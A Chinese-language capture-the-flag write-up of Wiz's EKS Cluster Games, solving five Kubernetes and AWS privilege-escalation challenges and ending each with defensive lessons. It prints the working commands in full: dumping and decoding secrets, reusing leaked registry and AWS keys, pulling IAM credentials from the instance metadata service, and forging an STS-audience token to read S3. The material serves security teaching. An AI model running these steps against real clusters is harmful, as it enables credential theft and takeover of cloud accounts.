从EKS CLUSTER GAMES看云原生安全
字数 1717 2025-08-19 12:41:42
从EKS CLUSTER GAMES看云原生安全实战
前言
本文基于WIZ举办的EKS Cluster Games云原生安全挑战赛,详细解析了5个不同难度的Kubernetes安全挑战。这些挑战模拟了真实世界中的云原生安全场景,涵盖了从基础权限提升到AWS账户横向移动的完整攻击链。
挑战一:Secret Seeker
目标:列出集群中的所有secrets并找到flag
给定权限:
{
"secrets": [
"get",
"list"
]
}
解题步骤:
- 使用
kubectl get secrets列出所有secret - 发现名为
log-rotate的secret包含flag - 解码base64格式的flag
关键命令:
kubectl get secrets log-rotate -o yaml
echo "d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==" | base64 -d
安全要点:
- Kubernetes Secret使用Base64编码而非加密,本质上不安全
- 过度授权(over-privileged)的secret访问权限会导致信息泄露
- 敏感信息不应仅依赖Secret机制保护
挑战二:Registry Hunt
目标:通过检查容器注册表获取flag
给定权限:
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}
解题步骤:
- 检查pod配置,发现
imagePullSecrets - 获取并解码
.dockerconfigjson中的认证信息 - 使用crane工具登录Docker registry
- 检查镜像配置获取flag
关键命令:
kubectl get pods -o yaml
kubectl get secret registry-pull-secrets-780bab1d --namespace=challenge2 -o json
crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
crane config eksclustergames/base_ext_image:latest
安全要点:
- imagePullSecrets可能泄露容器注册表凭据
- 容器镜像历史可能包含敏感信息(如flag)
- 真实案例:阿里云和IBM云曾出现类似跨租户未授权访问漏洞
挑战三:Image Inquisition
目标:通过检查ECR仓库中的镜像层获取flag
给定权限:
{
"pods": [
"list",
"get"
]
}
解题步骤:
- 检查pod信息获取ECR仓库地址
- 通过元数据服务获取AWS临时凭证
- 使用AWS CLI获取ECR登录密码
- 使用crane检查镜像配置获取flag
关键命令:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQNCHP4P5
export AWS_SECRET_ACCESS_KEY=a+2FDCofUYQrvZUHKdPUMP4RxMNmdjYpqwC1En6M
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEIz...
aws ecr get-login-password | crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
安全要点:
- 云服务元数据服务(IMDS)可能泄露高权限凭证
- 容器镜像构建历史可能暴露敏感信息
- 各云厂商元数据服务地址:
- AWS: http://169.254.169.254
- Google Cloud: http://metadata.google.internal
- Azure: http://169.254.169.254
- Alibaba Cloud: http://100.100.100.200
- Tencent Cloud: http://metadata.tencentyun.com
挑战四:Pod Break
目标:从受限服务账户提升到节点服务账户权限
解题步骤:
- 获取当前AWS身份信息
- 使用AWS CLI获取EKS集群token
- 利用token列举集群权限和资源
- 获取secrets中的flag
关键命令:
aws sts get-caller-identity
aws eks get-token --cluster-name eks-challenge-cluster
kubectl auth can-i --list --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20v..."
kubectl get secrets -o yaml --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20v..."
安全要点:
- EKS节点服务账户通常具有较高权限
- 获取节点角色凭证后可横向移动至集群管理平面
- 现实中此类配置错误非常常见
挑战五:Container Secrets Infrastructure
目标:从EKS节点权限提升到AWS账户权限,获取S3中的flag
IAM策略:
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
解题步骤:
- 创建带有特定audience(sts.amazonaws.com)的service account token
- 使用token获取AWS临时凭证
- 访问S3存储桶获取flag
关键命令:
kubectl create token debug-sa --audience sts.amazonaws.com
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4Z35S2XF
export AWS_SECRET_ACCESS_KEY=BmwwpthMz2ivzM1yCkD0InVyUHoxYK09ojkOP7VD
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEIj...
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag ./flag
安全要点:
- OIDC(OpenID Connect)可用于Kubernetes与AWS的联合身份验证
- 通过创建特定audience的token可实现Kubernetes到AWS的权限提升
- 最小权限原则在云原生环境中尤为重要
总结
这五个挑战展示了云原生环境中完整的安全攻击链:
- 从容器内低权限开始
- 利用配置错误和过度授权提升权限
- 通过元数据服务获取云凭据
- 横向移动至集群管理平面
- 最终通过联合身份验证接管云账户
关键防御措施:
- 实施最小权限原则
- 保护元数据服务访问
- 定期审计RBAC和IAM策略
- 监控异常token创建和API调用
- 避免在镜像历史和构建过程中暴露敏感信息
这些挑战基于真实世界的安全漏洞,理解这些攻击技术对于构建安全的云原生环境至关重要。